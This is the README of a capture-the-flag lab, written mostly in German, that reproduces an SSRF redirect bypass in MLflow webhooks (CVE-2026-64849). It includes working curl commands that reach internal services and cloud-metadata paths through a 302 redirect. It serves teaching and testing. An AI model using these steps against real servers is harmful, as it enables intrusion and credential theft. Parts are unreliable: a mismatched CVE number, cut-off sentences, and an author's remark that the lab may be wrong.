
Este laboratorio puede estar bien o mal, pregúntale a la IA, estoy probando pero debe funcionar jajajaja
CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)
Praktisches Labor und Reproduktion der CVE-2026-64849: eine SSRF-Schwachstelle
in MLflow, verursacht durch einen TOCTOU-Fehler (Time-of-Check /
Time-of-Use) bei der Verarbeitung von Webhooks. MLflow validiert die ursprüngliche
Webhook-URL, folgt aber HTTP-Redirects (302) ohne erneute Validierung des
Ziels, wodurch ein Angreifer ohne Authentifizierung interne Dienste erreichen
kann, auf die er keinen Zugriff haben sollte (internal-service:8888).
Eingeschränkte Nutzung: Labormaterial, ausschließlich für autorisierte Netzwerke und Umgebungen. Siehe Rechtlicher Hinweis.
| Attribut | Wert |
|---|
| Schwachstelle | CVE-2026-64849 — SSRF via Webhook Redirect Bypass |
| Betroffene Komponente | MLflow Tracking Server (< 3.15.0) |
| Lab-Version | MLflow 3.13.0 (unverändert, via pip install) |
| Grundursache | TOCTOU: validiert die URL, folgt der 302 ohne erneute Validierung |
| Vektor | HTTP; ohne Authentifizierung |
| Gemeldete Schwere | KRITISCH (CVSS 9.3) — laut Banner des Lab-Exploits |
| Ergebnis | Zugriff auf interne Dienste, Diebstahl von Anmeldedaten, Port-Scanning |
| Geschätzte Dauer | 15–20 Minuten |
| Niveau | Fortgeschritten (Web-App-Sicherheit / Offensive Security) |
MLflow ermöglicht die Registrierung von Webhooks, die bei Ereignissen (Modelldaten, Experimente usw.) HTTP-Anfragen auslösen. Vor dem Speichern der URL wird eine Validierung angewendet (Schema, private IPs, IP-Metadaten). Der Fehler tritt auf, weil:
3xx ist, folgt die
Bibliothek requests automatisch dem Redirect und validiert die Ziel-URL
nie erneut.Der Angreifer kontrolliert den ersten Sprung (einen Server, der mit 302 auf
einen internen Dienst antwortet) und MLflow fungiert als Proxy in das
interne Netzwerk.
Vollständige technische Analyse siehe EXPLOITATION_GUIDE.md §6.
Nach Abschluss des Labs ist der Teilnehmer in der Lage:
/test und Exfiltration des internen Dienstes.Zielgruppe: Studierende und Fachleute für offensive Sicherheit, Pentester, Anwendungssicherheits-Prüfer und Entwickler, die MLflow verwenden.
Software-Anforderungen:
| Werkzeug | Mindestversion |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
Es sind keine Anmeldedaten oder Authentifizierung in MLflow erforderlich (der Angriff ist unauthentifiziert). Kein Zugriff auf das interne Netzwerk erforderlich: Das Labor stellt dieses bereit.
host internes Docker-Netzwerk (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ Angreifer (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, responder 302) │
│ http://localhost:5000 │ │ │ Webhook-URL ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, folgt dem Redirect) │
│ │ │ internal-service (8888) ← KEINE Ports zum │
│ │ │ "/admin/secret" Host │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| Komponente | Port | Rolle im Labor | Modifiziert? |
|---|---|---|---|
mlflow-vulnerable | 5000 | Opfer / verwundbarer Client (MLflow 3.13.0 Stock) | Nein |
attacker-server | 8080 | Angreifer-Server: /webhook → 302, /redirect?url=, /metadata, Dashboard | Nur do_HEAD |
internal-service | 8888 | Opfer in lab_network; /admin/secret und /api/internal/config | Nein |
Integritätsdetail: Der verwundbare Dienst und der interne Dienst wurden nicht modifiziert. Siehe EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # startet die 3 Container und wartet auf MLflow
bash run_lab.sh exploit # nutzt automatisch aus (SSRF → Flag von Level 1)
Geführte Demo Schritt für Schritt (interaktives Menü):
bash manual_exploitation_interactive.sh
🏁 CTF-Modus (MANUELLE Lösung): Das Labor ist eine Herausforderung mit
mehreren Ebenen. Jede Flag hinterlässt den Hinweis für die nächste Ebene, sodass
das Erreichen jeder Flag "Sinn ergibt". Und der Witz ist, es von Hand zu
machen: ctf_lab.sh nutzt nichts für dich aus, es führt dich nur und
validiert deine Flag:
bash ctf_lab.sh # interaktives CTF-Menü
bash ctf_lab.sh nivel 1 # Anweisungen + Hinweis der Ebene (Befehle, die DU MANUELL AUSFÜHRST)
bash ctf_lab.sh flag '<flag>' # validiert die Flag, die du exfiltriert und dekodiert hast (+Punkte)
bash ctf_lab.sh status # abgeschlossene Ebenen + Punktzahl (235 Pkt., ohne Flags anzuzeigen)
bash ctf_lab.sh hint 2 # Hinweis einer Ebene
bash ctf_lab.sh reset # Fortschritt löschen
Referenzen des Skripts run_lab.sh:
bash run_lab.sh start # start (Standard) + Status-Endpunkt
bash run_lab.sh exploit # führt exploit.py im mlflow-Container aus
bash run_lab.sh manual # zeigt die curl-Befehle Schritt für Schritt
bash run_lab.sh logs # verfolgt die Logs in Echtzeit
bash run_lab.sh stop # stoppt Container
bash run_lab.sh clean # stoppt und löscht Lab-Daten
Alle Aufrufe von
/testerfordern den HeaderContent-Type: application/json; ohne ihn antwortet MLflow 3.13 mit400 Bad Request.
# 1. Webhook erstellen, der auf den Angreifer-Server zeigt (leitet zur Wurzel des internen Portals um, Level 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. /test auslösen → MLflow validiert die URL, folgt der 302 bis zum internen Dienst
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'
# 3. Exfiltrierte Daten extrahieren (verschachtelt in result.response_body)
curl -s -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}' \
| jq -r '.result.response_body | fromjson'
Erwartetes Ergebnis von Schritt 3 (Level 1 des CTF):
{
"service": "internal-admin-portal",
"banner": "Portal administrativo interno — solo alcanzable desde la red interna",
"nivel": 1,
"flag_enc": "ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ==",
"flag_decoding": "echo ZmxhZ3tuMV9lbnVtZXJhY2lvbl9zc3JmfQ== | base64 -d",
"pista": "El portal expone recursos bajo /admin/ y /api/. Busca credenciales de administrador."
}
Die Flag reist verschlüsselt (flag_enc) und die Antwort selbst gibt dir
den Befehl zum Dekodieren (flag_decoding). Das Ziel ist es, sie per SSRF zu
exfiltrieren und zu dekodieren; und ihr pista führt dich zu
Level 2. Die Schritt-für-Schritt-Details, die Analyse
des Bugs und die Remediation finden sich in EXPLOITATION_GUIDE.md.
Das Labor ist ein CTF mit progressiven Ebenen: Jede Flag hinterlässt einen
pista, der zum nächsten Ziel führt, sodass das Erreichen jeder Flag Sinn
ergibt. Alle Ebenen werden mit derselben Basistechnik gelöst (SSRF via
Redirect), wobei der Schwierigkeitsgrad der Technik und der Entdeckung steigt.
| Ebene | Technik / Entdeckung | Ziel (SSRF) | Flag | Punkte |
|---|---|---|---|---|
| 1 | Basis-Redirect | internal-service:8888/ | base64 | 10 |
| 2 | Enumeration von /admin/ | internal-service:8888/admin/secret | hex | 25 |
| 3 | Enumeration von /api/ | internal-service:8888/api/internal/config | base64 | 40 |
| 4 | Cloud-Metadaten (IMDS) | internal-service:8888/latest/meta-data/... | base64 + rev | 60 |
| 5 (FINAL) | Blind-SSRF + versteckten Dienst auf Port 8889 entdecken | internal-service:8889/admin/final | XOR + base64 | 100 |
Die Flags reisen verschlüsselt im Feld
flag_encder Antwort und jede Antwort enthältflag_decoding(den genauen Befehl zum Dekodieren). Die Klartext-Flagflag{...}erscheint in keinem Skript oder Dokument: Sie muss per SSRF exfiltriert und dekodiert werden (die automatischen Skripte zeigen keine Flags).
Lab-Regel: Flag nur durch erfolgreiche SSRF (echte Exfiltration von
Daten des internen Dienstes via Redirect). Was keine SSRF ist oder im Labor
nicht reproduzierbar ist, ergibt keine Flag (z. B. das direkte /metadata
des Angreifers, DNS-Rebinding, whcli-Tunnel, blinder Scan ohne Exfiltration).
Spielen: bash ctf_lab.sh (interaktives Menü). Manuelle Lösung nach Ebenen
in REDTEAM_GUIDE.md (offensive Übung Befehl für Befehl) und
EXPLOITATION_GUIDE.md (vollständiges technisches Verfahren).
Während der Konsolidierung des Labs wurden die folgenden Korrekturen angewendet, bereits verifiziert und in allen Befehlen der Dokumentation berücksichtigt:
| # | Korrektur | Auswirkung |
|---|---|---|
| 1 | POST /test sendet jetzt Content-Type: application/json (und -d '{}') | Beseitigt den 400 Bad Request von MLflow 3.13 und den Fehler jq: null beim Extrahieren von response_body |
| 2 | attacker_server.py unterstützt die Methode HEAD (do_HEAD) | curl -I .../webhook gibt 302 Found statt 501 Unsupported method zurück |
| 3 | Verwendung der echten API POST /api/2.0/mlflow/webhooks | Vermeidet den 405 von nicht existierenden Routen (/webhooks/create) |
CVE-2026-29000-poc-lab/
├── README.md ← Diese Datei (Index / Titelseite des Labs)
├── REDTEAM_GUIDE.md ← Manuelle Übung im Red-Team-Stil: Recon → Hypothese → Exploit
├── EXPLOITATION_GUIDE.md ← Vollständiges Lab-Verfahren (SSRF, Variationen, Integrität)
├── manual_exploitation_interactive.sh ← Interaktive Schritt-für-Schritt-Demo (Menü)
└── mlflow-ssrf-lab/ ← Code und Orchestrierung des Labs
├── docker-compose.yml ← 3 Container (mlflow, attacker, internal)
├── exploit.py ← Automatisierter Exploit (wird im Container ausgeführt)
├── attacker_server.py ← Angreifer-Server (konfigurierbare 302)
├── internal_service.py ← Interner "geschützter" Dienst (Portal 8888 + versteckter Dienst 8889)
├── ctf_lab.sh ← Manuelle CTF-Anleitung (Anweisungen + Hinweise + Flag-Validator)
├── run_lab.sh ← start / exploit / manual / logs / stop / clean
└── mlflow_data/ ← Generierte Daten (SQLite-DB, Artefakte)
lab_network; sie setzt den internen Dienst nicht dem Host aus.exploit.py ist ein Verifikationswerkzeug des Labs und wird innerhalb
des MLflow-Containers über das simulierte interne Netzwerk ausgeführt (siehe
EXPLOITATION_GUIDE.md §14).